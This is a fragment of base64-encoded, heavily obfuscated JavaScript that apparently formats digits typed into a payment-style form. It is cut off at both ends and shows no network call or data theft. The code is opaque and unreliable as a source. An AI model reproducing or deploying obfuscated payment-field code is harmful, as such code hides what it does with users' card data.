HgxN2RjOTAoXzB4NDUzMzBkLF8weDUzNTg5YixfMHgxMzkwYWIsXzB4M2ExNjVmKXtyZXR1cm4gXzB4NWNhNjJhKF8weDNhMTY1ZixfMHg1MzU4OWItMHgxY2IsXzB4NDUzMzBkLTB4MzEsXzB4M2ExNjVmLTB4MTFlKTt9ZnVuY3Rpb24gXzB4NTJlYzYxKF8weDUzMDlmMSxfMHgyYzkzNzMsXzB4NDgxNzYsXzB4NTQyMzg3KXtyZXR1cm4gXzB4NWNhNjJhKF8weDQ4MTc2LF8weDJjOTM3My0weDEyLF8weDUzMDlmMS0gLTB4MzQyLF8weDU0MjM4Ny0weDFmKTt9aWYoXzB4MjQwY2EzWydxUmxuRSddKF8weDI0MGNhM1tfMHgxN2RjOTAoMHgyZmQsMHg0NzQsMHg4NywweDM5NyldLCd1akNtTCcpKXJldHVybiBfMHgxOTEzMTdbJ3ZhbCddKF8weDQyMTU2MStfMHg1ZjE2OGYrJ1x4MjAnKTtlbHNle3ZhciBfMHgyYzAxYTM9XzB4MjQwY2EzW18weDE3ZGM5MCgweDI3OSwweDNiOCwweDQ5MywweDIzYyldKF8weDQ1ZjNlNCk7XzB4MmMwMWEzPV8weDJjMDFhM1sncmVwbGFjZSddKC9ccy9nLCcnKSxfMHg2MTEyODYoKVsnaXMnXShfMHgxN2RjOTAoMHg3MmEsMHg1YWQsMHg0NjEsMHg0OTcpKT9fMHg1OTM4ODEoKVtfMHgyNDBjYTNbXzB4NTJlYzYxKC0weDI0LC0weDIwMSwweDI1NSwtMHhlNildXSgpOl8weDI0MGNhM1tfMHgxN2RjOTAoMHgzYTcsMHgzNzAsMHgzZjksMHgyODgpXShfMHgyYzAxYTNbXzB4MjQwY2EzWydSdWJqVCddXSwtMHgxZWU2Ky0weDFhYioweDYrMHg1YyoweDcyKXx8IV8weDEyMWQ4YVtfMHgyNDBjYTNbJ0dFZ1VLJ11dW18weDI0MGNhM1tfMHgxN2RjOTAoMHg4MGUsMHg4OGYsMHg1YmEsMHg2YmYpXV0oXzB4MmMwMWEzKT9fMHgyNDBjYTNbXzB4NTJlYzYxKDB4NywweDE0ZSwtMHgxMzYsLTB4MjcwKV0oXzB4MzliNWRlLF8weDI0MGNhM1tfMHg1MmVjNjEoMHgyMDgsMHgxZDgsLTB4NjUsMHgxNjcpXShfMHgyNDBjYTNbJ3hVdG5PJ10oXzB4MjQwY2EzW18weDE3ZGM5MCgweDZlYiwweDQ1ZiwweDhjZCwweDQzZildKF8weDI0MGNhM1tfMHg1MmVjNjEoMHgxODcsMHg0MjgsLTB4MWUsLTB4MTAxKV0sXzB4MzZlMTVkKSxfMHg1MmVjNjEoLTB4NTAsMHgxOGIsMHg2MCwweDE0KSkrXzB4MTljY2VjLCdlcicpKVtfMHgxN2RjOTAoMHg1NTgsMHg3ODAsMHgzZTUsMHgzOGYpXSgpOl8weDE1ZGU3NVtfMHgyNDBjYTNbXzB4MTdkYzkwKDB4NjRkLDB4NjZkLDB4NDVhLDB4N2IyKV1dW18weDI0MGNhM1tfMHgxN2RjOTAoMHg3OGYsMHg3YzIsMHg0ZDUsMHg0ZjApXV0oXzB4M2MxMzk3KClbJ3ZhbCddKCksXzB4MmM4NmY5KClbXzB4MjQwY2EzW18weDUyZWM2MSgweDI1MiwweDM3LDB4MzE5LDB4MTNjKV1dKCkpPyFfMHhhODQwOWZbXzB4MjQwY2EzW18weDUyZWM2MSgweDJkYSwweDI2ZSwweDUzMCwweDNmNyldXVtfMHgyNDBjYTNbXzB4NTJlYzYxKDB4M2VjLDB4NTk1LDB4NGU0LDB4NTI0KV1dKF8weDI0MGNhM1tfMHg1MmVjNjEoLTB4OTUsLTB4MmI5LC0weDJjOSwweDY1KV0oXzB4M2FmZjViKVtfMHgyNDBjYTNbJ29uZmFUJ11dKCksXzB4ZTBjYmZkW18weDI0MGNhM1tfMHg1MmVjNjEoMHgyZGEsMHgzYjEsMHg0NmYsMHgyMmYpXV1bXzB4NTJlYzYxKDB4MWM2LC0weDYsLTB4ODIsMHgxNWMpXShfMHgyNDBjYTNbJ1piT3pRJ10oXzB4MjllNjRiKSkpP18weDI0MGNhM1tfMHg1MmVjNjEoMHgzMmUsMHgyZDYsMHg0MGUsMHg0MDcpXShfMHgxZDg3ZTUpW18weDI0MGNhM1tfMHg1MmVjNjEoLTB4MjQsMHgyODUsLTB4MTk2LDB4NjQpXV0oKTpfMHgyNDBjYTNbXzB4NTJlYzYxKC0weDk1LDB4YjMsMHgxOTQsLTB4MTU5KV0oXzB4NWRjMjUxKVtfMHgyNDBjYTNbXzB4NTJlYzYxKC0weDI0LDB4MWU3LDB4MWE2LDB4MjhiKV1dKCk6XzB4MjQwY2EzW18weDE3ZGM5MCgweDQ3YywweDZlOCwweDcxMSwweDI0ZildKDB4NSoweDU4YisweDcyOCsweDIzKi0weGZmLF8weDI0MGNhM1tfMHg1MmVjNjEoLTB4ZmEsLTB4MTNkLC0weDI3YSwtMHgzM2IpXShfMHgyNGRmMzEpW18weDE3ZGM5MCgweDJiZCwweDMyYiwweDNlLDB4MzNlKV0oKVtfMHgyNDBjYTNbXzB4NTJlYzYxKDB4NGE4LDB4NTkwLDB4MjRmLDB4NGNmKV1dKT9fMHgxYzg2YzcoKVtfMHgyNDBjYTNbXzB4NTJlYzYxKC0weDI0LDB4MTE5LC0weDIzOCwweDIyMCldXSgpOl8weDI0MGNhM1snT0NTdksnXShfMHgzZDc2MjgpW18weDI0MGNhM1tfMHg1MmVjNjEoLTB4MjQsLTB4MTMsLTB4MTE1LC0weDE1NSldXSgpO319KSk6dm9pZCgtMHgyNTg5KzB4MjViYystMHgxMSoweDMpKTt9LF8weDNmNjAzZD1mdW5jdGlvbihfMHgxMzY5MTgpe2Z1bmN0aW9uIF8weGYwNmFmMChfMHgzOTk4MTQsXzB4NGI1YzdiLF8weDI2NzU3OCxfMHg0Y2U5YTMpe3JldHVybiBfMHgzNjBjZTgoXzB4Mzk5ODE0LTB4YmQsXzB4NGNlOWEzLF8weDI2NzU3OC0weDRkLF8weDM5OTgxNC0gLTB4MTcyKTt9dmFyIF8weDQ0ZTQ4OD17J2FJSmNTJzpmdW5jdGlvbihfMHg0ZjNhN2Upe2Z1bmN0aW9uIF8weDQ2Nzk3ZShfMHgzMTMzOGYsXzB4NDhlZjU5LF8weDJkM2VlMCxfMHg1NDNlOWIpe3JldHVybiBfMHg0YzBmKF8weDU0M2U5Yi0weDNkOSxfMHgzMTMzOGYpO31yZXR1cm4gXzB4MjQxMGU4W18weDQ2Nzk3ZSgweDc3ZiwweDkzNywweDdjMCwweDcyNCldKF8weDRmM2E3ZSk7fSwnTE1DdW4nOl8weDI0MTBlOFtfMHhmMDZhZjAoMHg0YmEsMHgzOGUsMHgyZmYsMHg0OTUpXSwnaElSQlInOmZ1bmN0aW9uKF8weDQ5ZTU5MSxfMHg4OWRmMil7ZnVuY3Rpb24gXzB4NTI2MzFlKF8weDQ2ZWJmZixfMHg1MzhmMWEsXzB4MzQ3ZGVlLF8weDQ0N2E0Zil7cmV0dXJuIF8weGYwNmFmMChfMHg0NDdhNGYtMHgxMzQsXzB4NTM4ZjFhLTB4OGMsXzB4MzQ3ZGVlLTB4OTcsXzB4NTM4ZjFhKTt9cmV0dXJuIF8weDI0MTBlOFtfMHg1MjYzMWUoMHg4NTUsMHg3NWMsMHg3MGUsMHg5N2QpXShfMHg0OWU1OTEsXzB4ODlkZjIpO319O2Z1bmN0aW9uIF8weDQ0NzMzNChfMHg0YjQ3OGMsXzB4NWJhYjJkLF8weDQ3MWNkMyxfMHg2YTQ1YmIpe3JldHVybiBfMHgxODU4MGUoXzB4NGI0NzhjLTB4MTA5LF8weDViYWIyZC0weDU0LF8weDViYWIyZC0weDRiOSxfMHg2YTQ1YmIpO31pZihfMHgyNDEwZThbJ2NKWU1wJ10oXzB4MjQxMGU4W18weDQ0NzMzNCgweDQzYiwweDUzNSwweDUyMywweDcyYyldLF8weDI0MTBlOFtfMHhmMDZhZjAoMHgyYmMsMHg1NmYsMHg3ZCwweDQ4YSldKSlfMHg0NGU0ODhbXzB4NDQ3MzM0KDB4MWZmLDB4NDFmLDB4Mzg2LDB4NTdlKV0oXzB4MTQyYzBkKVtfMHhmMDZhZjAoMHg1NTQsMHg2YTUsMHg2Y2YsMHg3YWEpKydzJ10oXzB4NDRlNDg4W18weGYwNmFmMCgweDcwNywweDc5YSwweDRhMCwweDljMyldKSxfMHg0NGU0ODhbXzB4NDQ3MzM0KDB4MmVjLDB4Mjk0LC0weDI4LDB4NTdkKV0oXzB4M2Y1NTRhLF8weDkwMzExMVsnYm9keSddKVtfMHg0NDczMzQoMHgyZTgsMHgzZjAsMHg1ODMsMHgzOTcpXShfMHg0NDczMzQoMHg5MmIsMHg3ZmEsMHg2MTYsMHg2YjMpKydmb3JtX2Jsb2NrJyksXzB4NDA2MTE4PSdjb2RlJztlbHNle3ZhciBfMHgzZTRhMjgsXzB4M2U2ZWMzO3JldHVybiBfMHgzZTRhMjg9XzB4MjQxMGU4W18weGYwNmFmMCgweDg0YSwweDU1NCwweDcyMiwweDY3OCldKF8weDIxMTFlZixfMHgxMzY5MThbJ2N1cnJlbnRUYXInK18weGYwNmFmMCgweDc1OSwweDU5YSwweDhjMSwweDgyOCldKSxfMHgzZTZlYzM9XzB4M2U0YTI4W18weGYwNmFmMCgweDMwMSwweDVmMywweDRkZCwweDMxMildKCksXzB4MjQxMGU4W18weGYwNmFmMCgweDQwMSwweDViMywweDY1MSwweDNlYSldKDB4MTFiMCstMHgxKjB4MjE1OSsweDY3KjB4MjcsXzB4MTM2OTE4W18weGYwNmFmMCgweDg1MSwweDhjNiwweDkxZSwweGIzNyldKXx8XzB4MjQxMGU4W18weGYwNmFmMCgweDZiMywweDZmYywweDVkMCwweDViMSldKG51bGwsXzB4M2U0YTI4W18weGYwNmFmMCgweDdlNCwweDYyNCwweDYzYSwweDg1MSldKF8weDI0MTBlOFsnQ3JWWXQnXSkpJiZfMHgzZTRhMjhbJ3Byb3AnXShfMHgyNDEwZThbXzB4ZjA2YWYwKDB4M2RhLDB4NDE5LDB4NWE4LDB4NjdiKV0pIT09XzB4M2U2ZWMzW18weGYwNmFmMCgweDdiZiwweDdjNiwweDg5NCwweDllZildP3ZvaWQoLTB4MTY2MSsweDFkKjB4MTFkKzB4MTNkKi0weDgpOi9cZFxzJC9bXzB4NDQ3MzM0KDB4ODY1LDB4NWQzLDB4MzA2LDB4NmFiKV0oXzB4M2U2ZWMzKT8oXzB4MTM2OTE4W18weGYwNmFmMCgweDVhYiwweDgwMywweDVmMCwweDcwMykrXzB4ZjA2YWYwKDB4MmVlLDB4MmNhLDB4M2RkLDB4MzVkKV0oKSxzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7ZnVuY3Rpb24gXzB4NGJjNjI2KF8weDE0OWM0YSxfMHgxOWRmZGEsXzB4MTE1YTQ3LF8weDIyZDJlMSl7cmV0dXJuIF8weDQ0NzMzNChfMHgxNDljNGEtMHgxNDQsXzB4MTlkZmRhLTB4MTExLF8weDExNWE0Ny0weDFlNyxfMHgxNDljNGEpO31yZXR1cm4gXzB4M2U0YTI4W18weDRiYzYyNigweDI0NCwweDNmYywweDY5NiwweDE5MSldKF8weDNlNmVjM1sncmVwbGFjZSddKC9cZFxzJC8sJycpKTt9KSk6L1xzXGQ/JC9bXzB4ZjA2YWYwKDB4NWU5LDB4NzRlLDB4NmI5LDB4OGNmKV0oXzB4M2U2ZWMzKT8oXzB4MTM2OTE4W18weGYwNmFmMCgweDVhYiwweDY2ZSwweDU0NCwweDYyNSkrXzB4ZjA2YWYwKDB4MmVlLDB4NWMxLC0weDIsMHgzYWYpXSgpLF8weDI0MTBlOFtfMHg0NDczMzQoMHhhMWQsMHg3N2QsMHg2MzEsMHg1YzkpXShzZXRUaW1lb3V0LGZ1bmN0aW9uKCl7ZnVuY3Rpb24gXzB4NTVmY2JkKF8weDU0NzlmMSxfMHgzMWI2MTMsXzB4MTY4MTM3LF8weDQ2ODhiOCl7cmV0dXJuIF8weGYwNmFmMChfMHgzMWI2MTMtIC0weDM3NyxfMHgzMWI2MTMtMHgyZixfMHgxNjgxMzctMHgxNTEsXzB4MTY4MTM3KTt9ZnVuY3Rpb24gXzB4MjE4ZTY2KF8weDM3OWJhNixfMHgzMzJiNzEsXzB4NTg3MzQ2LF8weDMyMWFiMil7cmV0dXJuIF8weGYwNmFmMChfMHgzMzJiNzEtMHgxMixfMHgzMzJiNzEtMHgxOGIsXzB4NTg3MzQ2LTB4ZmEsXzB4Mzc5YmE2KTt9cmV0dXJuIF8weDNlNGEyOFtfMHg1NWZjYmQoLTB4MTAzLC0weDc2LDB4MTNhLC0weDUpXShfMHgzZTZlYzNbXzB4MjE4ZTY2KDB4YTQyLDB4ODNjLDB4NmE2LDB4NTc1KV0oL1xkJC8sJycpKTt9KSk6dm9pZCgweDEwNTkrMHgzNDErMHgxYSotMHhjMSk7fX0sXzB4NDk4ZWZlPWZ1bmN0aW9uKF8weDNjN2RjNyl7dmFyIF8weDU3ZmU4MT17J1hZUldDJzpmdW5jdGlvbihfMHg0YjYxN2EsXzB4M2E2MmJlKXtmdW5jdGlvbiBfMHg2OWJlYzUoXzB4NGE0NGE0LF8weDhkMjViMCxfMHgxNWRmYjcsXzB4NDY5NTg4KXtyZXR1cm4gXzB4NGMwZihfMHg0Njk1ODgtIC0weGE4LF8weDhkMjViMCk7fXJldHVybiBfMHg0MDc5MDhbXzB4NjliZWM1KDB4MTJlLDB4Mjc4LC0weDEwMiwweDEwYSldKF8weDRiNjE3YSxfMHgzYTYyYmUpO30sJ0JGdnpKJzpmdW5jdGlvbihfMHg2OTNmMDksXzB4MjhmYjdiLF8weDJlM2U3ZSl7ZnVuY3Rpb24gXzB4NDZlYjQ0KF8weDFmNWIxYSxfMHgyMzk1ZGEsXzB4MTUyYTk5LF8weDY1ZWNlMCl7cmV0dXJuIF8weDRjMGYoXzB4MWY1YjFhLSAtMHhlNCxfMHgxNTJhOTkpO31yZXR1cm4gXzB4NDA3OTA4W18weDQ2ZWI0NCgweDJkNSwweDM5YSwweDQ4YiwweGZhKV0oXzB4NjkzZjA5LF8weDI4ZmI3YixfMHgyZTNlN2UpO319O2Z1bmN0aW9uIF8weDVlYjIyYyhfMHgzZDdlZWMsXzB4MjViMGNmLF8weDViYWIyZSxfMHg0MDBlMWYpe3JldHVybiBfMHgzNjBjZTgoXzB4M2Q3ZWVjLTB4MTAxLF8weDViYWIyZSxfMHg1YmFiMmUtMHgzNSxfMHgzZDdlZWMtIC0weDYwYik7fWZ1bmN0aW9uIF8weDhjZWFmNShfMHg3MGVmZjMsXzB4MTgxODJhLF8weDJlNjkzOCxfMHgxYTUzMzkpe3JldHVybiBfMHgzNjBjZTgoXzB4NzBlZmYzLTB4MWYwLF8weDE4MTgyYSxfMHgyZTY5MzgtMHg0OSxfMHgxYTUzMzktIC0weDZjOSk7fWlmKF8weDQwNzkwOFtfMHg4Y2VhZjUoMHgxNTIsLTB4MTA2LC0weDExNywtMHgxNzUpXSE9PV8weDQwNzkwOFtfMHg1ZWIyMmMoLTB4YjcsLTB4MjE2LC0weDMxNiwweDE3NildKV8weDQwNzkwOFsnQUZHRFMnXShfMHgxNDFiODYsXzB4NDA3OTA4W18weDVlYjIyYygweDk0LDB4MTBiLC0weDE2ZiwweDFmMyldKVtfMHg1ZWIyMmMoLTB4OTIsMHgxMiwweGJjLC0weDMyNCldKF8weDNjMTVhYltfMHg0MDc5MDhbXzB4NWViMjJjKDB4YSwtMHgyMTcsLTB4Mjk0LC0weGU0KV1dKVtfMHg4Y2VhZjUoMHgzYmEsMHgyY2YsMHgyNTQsMHgxMWMpXShfMHg0MDc5MDhbXzB4OGNlYWY1KC0weDM4ZSwweGQ3LC0weDM0OCwtMHgxMjUpXSlbJ3Nob3cnXSgpO2Vsc2V7dmFyIF8weDQwZjljOTtyZXR1cm4gXzB4NDBmOWM5PV8weDQwNzkwOFtfMHg4Y2VhZjUoMHgxMjcsLTB4MzNlLC0weDI0YSwtMHgxMjEpXShfMHgyMTExZWYsXzB4M2M3ZGM3W18weDVlYjIyYygweDIyNCwweDJiMCwweDdiLDB4M2U4KStfMHg1ZWIyMmMoMHgyYzAsMHgxNDUsMHgxYzIsMHg0OWYpXSksXzB4NDA3OTA4W18weDVlYjIyYygtMHgxZSwtMHgyYjAsLTB4Mjc3LC0weDFlZildKHNldFRpbWVvdXQsZnVuY3Rpb24oKXtmdW5jdGlvbiBfMHgyN2ViODcoXzB4Mzc1MjVmLF8weDUzMjg0ZixfMHg0M2YzNjksXzB4NWRmMmM1KXtyZXR1cm4gXzB4NWViMjJjKF8weDM3NTI1Zi0weDVmOCxfMHg1MzI4NGYtMHhkNCxfMHg0M2YzNjksXzB4NWRmMmM1LTB4MWJlKTt9ZnVuY3Rpb24gXzB4NDJmMzI5KF8weDEyZGI0NixfMHgzNDUzNmUsXzB4MzVjYmFjLF8weDVjYTNjYyl7cmV0dXJuIF8weDhjZWFmNShfMHgxMmRiNDYtMHgxZTIsXzB4NWNhM2NjLF8weDM1Y2JhYy0weDFjNyxfMHgxMmRiNDYtMHgxMGEpO312YXIgXzB4NTJmYzdiO3JldHVybiBfMHg1MmZjN2I9XzB4NDBmOWM5W18weDI3ZWI4NygweDQ2MCwweDcyMywweDM0MCwweDc0OSldKCksXzB4NTJmYzdiPV8weDU3ZmU4MVtfMHgyN2ViODcoMHg4NmYsMHg3NzIsMHg3MzYsMHg1YjIpXShfMHg1ZDdiMzgsXzB4NTJmYzdiKSxfMHg1MmZjN2I9XzB4MjExMWVmWydwbW50J11bXzB4MjdlYjg3KDB4OGE0LDB4NzRiLDB4OGFlLDB4NmJiKSsncnknXShfMHg1MmZjN2IpLF8weDU3ZmU4MVtfMHg0MmYzMjkoLTB4NGIsLTB4MzQyLDB4Mjg1LC0weDNjKV0oXzB4MjM3MjhmLF8weDUyZmM3YixfMHg0MGY5YzkpO30pO319LF8weDIxNDJiYT1mdW5jdGlvbihfMHgzZjE5ZWYpe2Z1bmN0aW9uIF8weDM3MWEwMChfMHgxZGY4YjAsXzB4NDhlN2E1LF8weDVlYWU2ZSxfMHg0YmNjYTgpe3JldHVybiBfMHgxODU4MGUoXzB4MWRmOGIwLTB4MzIsXzB4NDhlN2E1LTB4ODIsXzB4NDhlN2E1LTB4ZTIsXzB4MWRmOGIwKTt9ZnVuY3Rpb24gXzB4M2M3ZjJhKF8weDNlNTkzMSxfMHgzOGE1NTMsXzB4YTYyZjA2LF8weDM2NGQ1MCl7cmV0dXJuIF8weDE4NTgwZShfMHgzZTU5MzEtMHgxM2YsXzB4MzhhNTUzLTB4MWEsXzB4MzhhNTUzLTB4YjQsXzB4M2U1OTMxKTt9dmFyIF8weDQ2NDI1Mj17J2JtWkFsJzpmdW5jdGlvbihfMHgxOTdlZWUsXzB4MWEzNjRhKXtyZXR1cm4gXzB4NDA3OTA4WydIbmVFWCddKF8weDE5N2VlZSxfMHgxYTM2NGEpO30sJ3dGV0FFJzpmdW5jdGlvbihfMHg1MmE3NmQsXzB4NTlhNmQzKXtyZXR1cm4gXzB4NDA3OTA4WydTRFhxcyddKF8weDUyYTc2ZCxfMHg1OWE2ZDMpO30sJ0l5d1RYJzpfMHg0MDc5MDhbXzB4MzcxYTAwKC0weDE3NiwtMHhlMywtMHgxNGMsLTB4MzJkKV0sJ2JBbnl0JzpmdW5jdGlvbihfMHgyNjk4MDYsXzB4NWQ1ZWIwLF8weDVmMmM4Mil7ZnVuY3Rpb24gXzB4M2UxM2VkKF8weDNhZDE5NCxfMHg4ZDNhOTAsXzB4NTE0ZGExLF8weGQ0NGFmNyl7cmV0dXJuIF8weDM3MWEwMChfMHg4ZDNhOTAsXzB4M2FkMTk0LTB4MzYxLF8weDUxNGRhMS0weGYxLF8weGQ0NGFmNy0weDExOSk7fXJldHVybiBfMHg0MDc5MDhbXzB4M2UxM2VkKDB4NGFlLDB4MjAwLDB4NzlhLDB4NmI5KV0oXzB4MjY5ODA2LF8weDVkNWViMCxfMHg1ZjJjODIpO30sJ1RwUUNkJzpmdW5jdGlvbihfMHgxMzFiOWIsXzB4NTJkNTlhKXtyZXR1cm4gXzB4MTMxYjliPl8weDUyZDU5YTt9LCdacFJYVCc6ZnVuY3Rpb24oXzB4MjBhMDU0LF8weDQyZmM1Myl7ZnVuY3Rpb24gXzB4NDg0MWE3KF8weDU2NGZiMyxfMHgyZjRhN2IsXzB4MTRmNWQ2LF8weDlhZDAxNil7cmV0dXJuIF8weDM3MWEwMChfMHg1NjRmYjMsXzB4MTRmNWQ2LSAtMHgxNTYsXzB4MTRmNWQ2LTB4MWM3LF8weDlhZDAxNi0weDEyZCk7fXJldHVybiBfMHg0MDc5MDhbXzB4NDg0MWE3KDB4OTIsLTB4M2UxLC0weDIyNSwtMHg0N2YpXShfMHgyMGEwNTQsXzB4NDJmYzUzKTt9LCdwaWR2Uic6ZnVuY3Rpb24oXzB4YTUxMDY2LF8weDU1ZmQ1MCl7ZnVuY3Rpb24gXzB4MmY2NzUyKF8weDViYTkzNSxfMHhhOTFkNzgsXzB4MjFkNzJjLF8weDVkZGEyMyl7cmV0dXJuIF8weDM3MWEwMChfMHg1YmE5MzUsXzB4NWRkYTIzLTB4MWYzLF8weDIxZDcyYy0weDljLF8weDVkZGEyMy0weDE1OSk7fXJldHVybiBfMHg0MDc5MDhbXzB4MmY2NzUyKDB4MjNmLDB4MmEzLDB4NjBhLDB4NGFkKV0oXzB4YTUxMDY2LF8weDU1ZmQ1MCk7fSwnald6ZGsnOmZ1bmN0aW9uKF8weDQ3NWVhYSxfMHhkMWNlNjgpe3JldHVybiBfMHg0NzVlYWErXzB4ZDFjZTY4O30sJ0RzQUR0JzpmdW5jdGlvbihfMHgyMGM1MmMsXzB4NGFiMjYxKXtyZXR1cm4gXzB4NDA3OTA4WydIbmVFWCddKF8weDIwYzUyYyxfMHg0YWIyNjEpO30sJ1JMSndoJzpmdW5jdGlvbihfMHgzN2EzNWIsXzB4MTJiZjgxKXtyZXR1cm4gXzB4MzdhMzViK18weDEyYmY4MTt9LCd1cHdIQyc6ZnVuY3Rpb24oXzB4MTYyNWU5LF8weDFlNDQxOCl7ZnVuY3Rpb24gXzB4MTUyMzNlKF8weDRhYTk0NyxfMHgyNDg5NDYsXzB4NDBjOWY0LF8weDMxMzM0Yyl7cmV0dXJuIF8weDM3MWEwMChfMHg0YWE5NDcsXzB4MjQ4OTQ2LSAtMHgxYyxfMHg0MGM5ZjQtMHgxMTgsXzB4MzEzMzRjLTB4MTdkKTt9cmV0dXJuIF8weDQwNzkwOFtfMHgxNTIzM2UoMHgxMDEsLTB4ZWIsLTB4MTY3LC0weDM2NSldKF8weDE2MjVlOSxfMHgxZTQ0MTgpO30sJ054TlNUJzpfMHg0MDc5MDhbXzB4M2M3ZjJhKC0weDM2MSwtMHgxOTYsLTB4NDczLC0weDM1YildLCdzdUFwRyc6XzB4NDA3OTA4Wydtc3VOWSddfTtpZihfMHg0MDc5MDhbJ0pTZVFhJ10oJ3BIaW9hJyxfMHg0MDc5MDhbJ2RMUmttJ10pKXt2YXIgXzB4NmRiMTE2LF8weDE4NzY0YixfMHg1MWNiZGU7cmV0dXJuIF8weDE4NzY0Yj1TdHJpbmdbXzB4MzcxYTAwKC0weDQ4LC0weDExNSwtMHgyNzUsLTB4MTJjKSsnZGUnXShfMHgzZjE5ZWZbJ3doaWNoJ10pLC9eXGQrJC9bXzB4MzcxYTAwKC0weDk3LDB4MWZjLDB4NGFhLDB4Y2QpXShfMHgxODc2NGIpPyhfMHg2ZGIxMTY9XzB4NDA3OTA4WydBRkdEUyddKF8weDIxMTFlZixfMHgzZjE5ZWZbXzB4M2M3ZjJhKDB4M2VkLDB4MmEyLDB4MzNjLDB4MjY4KSsnZ2V0J10pLF8weDUxY2JkZT1fMHg2ZGIxMTZbXzB4M2M3ZjJhKDB4MTk5LC0weDExYSwtMHhiNiwtMHgzYmYpXSgpK18weDE4NzY0YiwvXlxkJC9bXzB4MzcxYTAwKC0weDY0LDB4MWZjLDB4NjMsMHgzYSldKF8weDUxY2JkZSkmJl8weDQwNzkwOFsnWlhnZmYnXSgnMCcsXzB4NTFjYmRlKSYmXzB4NDA3OTA4WydaWGdmZiddKCcxJyxfMHg1MWNiZGUpPyhfMHgzZjE5ZWZbXzB4M2M3ZjJhKDB4MThmLDB4MTkwLC0weDEzMSwweDFmMykrXzB4M2M3ZjJhKC0weDNmNiwtMHgxMmQsLTB4MjJkLC0weDI0ZildKCksc2V0VGltZW91dChmdW5jdGlvbigpe2Z1bmN0aW9uIF8weDI4MTUyMihfMHgxYWFhZGYsXzB4MzVkNTRjLF8weDVmMTE2MSxfMHg0YjRlODgpe3JldHVybiBfMHgzYzdmMmEoXzB4NWYxMTYxLF8weDFhYWFkZi0weDI0YSxfMHg1ZjExNjEtMHgxMTAsXzB4NGI0ZTg4LTB4N2MpO31mdW5jdGlvbiBfMHg3YWEwMzQoXzB4YjE2Yzc1LF8weGNmMGYyZCxfMHgyMDBlZjgsXzB4OWUyMTFmKXtyZXR1cm4gXzB4M2M3ZjJhKF8weDIwMGVmOCxfMHhiMTZjNzUtMHgyZixfMHgyMDBlZjgtMHgxMTUsXzB4OWUyMTFmLTB4ZDEpO31yZXR1cm4gXzB4NmRiMTE2W18weDdhYTAzNCgtMHhlYiwtMHgzMDIsLTB4YjEsLTB4MzAwKV0oXzB4NDY0MjUyW18weDI4MTUyMigweDQ1MywweDY5OCwweDNlZiwweDViMCldKF8weDQ2NDI1MltfMHg3YWEwMzQoMHg0MjYsMHg0NzMsMHg2NTUsMHg2M2UpXSgnMCcsXzB4NTFjYmRlKSxfMHg0NjQyNTJbXzB4N2FhMDM0KDB4ZCwtMHg3NiwweDgzLC0weDI1MyldKSk7fSkpOi9eXGRcZCQvW18weDM3MWEwMCgweDEyYiwweDFmYywweDJiNSwweDFjOCldKF8weDUxY2JkZSk/KF8weDNmMTllZlsncHJldmVudERlZicrXzB4M2M3ZjJhKC0weDFkZiwtMHgxMmQsLTB4NDAyLDB4MWFhKV0oKSxzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7dmFyIF8weDMwNWY1YyxfMHg0MDIwZmY7ZnVuY3Rpb24gXzB4NWJjZjA5KF8weDFlYzliYyxfMHgyMDg2OGYsXzB4MjFjYWQ0LF8weDE3ZDc1OCl7cmV0dXJuIF8weDM3MWEwMChfMHgyMDg2OGYsXzB4MjFjYWQ0LSAtMHg1ZSxfMHgyMWNhZDQtMHhhNSxfMHgxN2Q3NTgtMHg2MCk7fWZ1bmN0aW9uIF8weGQyM2IyZihfMHgxMGVhZTMsXzB4MWQ0NjdhLF8weDIwMWY0ZixfMHgyZmU1MWMpe3JldHVybiBfMHgzNzFhMDAoXzB4MWQ0NjdhLF8weDEwZWFlMy0weDUwYyxfMHgyMDFmNGYtMHg1NSxfMHgyZmU1MWMtMHhiMik7fXJldHVybiBfMHgzMDVmNWM9XzB4NDY0MjUyW18weDViY2YwOSgweDFkZiwweDUzNiwweDM5NiwweDE1MSldKHBhcnNlSW50LF8weDUxY2JkZVsweGU5NSsweDE0ZmErLTB4MjM4Zl0sMHgxMzIwKzB4MjM3MCstMHgzNjg2KSxfMHg0MDIwZmY9XzB4NDY0MjUyW18weGQyM2IyZigweDkwMCwweDZiYSwweDcwMCwweDZjYildKHBhcnNlSW50LF8weDUxY2JkZVsweDE2YysweDZhOSsweDIqLTB4NDBhXSwweDU4Ki0weDM3Ky0weDI0MGErMHgzNmZjKSxfMHg0NjQyNTJbXzB4NWJjZjA5KC0weGE2LDB4MzgxLDB4MTE0LDB4MWU5KV0oXzB4NDAyMGZmLDB4MSoweDIwOSstMHg2MTEqLTB4MSstMHgyMDYqMHg0KSYmLTB4MjQ5MSsweDIzKi0weGQ2KzB4NDFkMyE9PV8weDMwNWY1Yz9fMHg2ZGIxMTZbXzB4ZDIzYjJmKDB4NDIwLDB4MjVjLDB4NGE2LDB4MWJhKV0oXzB4NDY0MjUyW18weDViY2YwOSgtMHhlNSwtMHgxMmEsMHhlZSwtMHgxN2QpXShfMHg0NjQyNTJbJ3BpZHZSJ10oXzB4NDY0MjUyWydqV3pkayddKCcwJyxfMHgzMDVmNWMpLF8weDQ2NDI1MltfMHg1YmNmMDkoLTB4MWI1LDB4MTFlLC0weDUyLDB4MTJlKV0pLF8weDQwMjBmZikpOl8weDZkYjExNltfMHhkMjNiMmYoMHg0MjAsMHg2ZjgsMHgxZTcsMHgzYjcpXShfMHg0NjQyNTJbJ0RzQUR0J10oXzB4NDY0MjUyW18weGQyM2IyZigweDczOCwweDg2NCwweDkxOSwweDYyNCldKCcnLF8weDUxY2JkZSksXzB4NDY0MjUyW18weGQyM2IyZigweDUxOCwweDc3ZCwweDdkZSwweDUzNSldKSk7fSkpOnZvaWQoLTB4OTFlKy0weGNlYioweDErLTB4MTYwOSotMHgxKSk6dm9pZCgweDE1KjB4N2ErLTB4MjVmNSsweDFiZjMpO31lbHNlIF8weDRkZGZhMihfMHgzYWIxZjZbJ2JvZHknXSlbXzB4M2M3ZjJhKDB4MjUxLC0weDE1LC0weGQzLC0weDI4KV0oXzB4NDY0MjUyWyd1cHdIQyddKF8weDQ2NDI1MltfMHgzNzFhMDAoMHg1MmEsMHg0NDQsMHg1YTgsMHg0NzMpXSxfMHg0NjQyNTJbXzB4MzcxYTAwKDB4MjJlLDB4M2EwLDB4NjE4LDB4MTliKV0pKTt9LF8weDIyZGIwYz1mdW5jdGlvbihfMHgyOTg2ZGIpe2Z1bmN0aW9uIF8weDRjMzU2MChfMHgxYWE2MDEsXzB4M2JkNjA0LF8weDQ4NzdmYSxfMH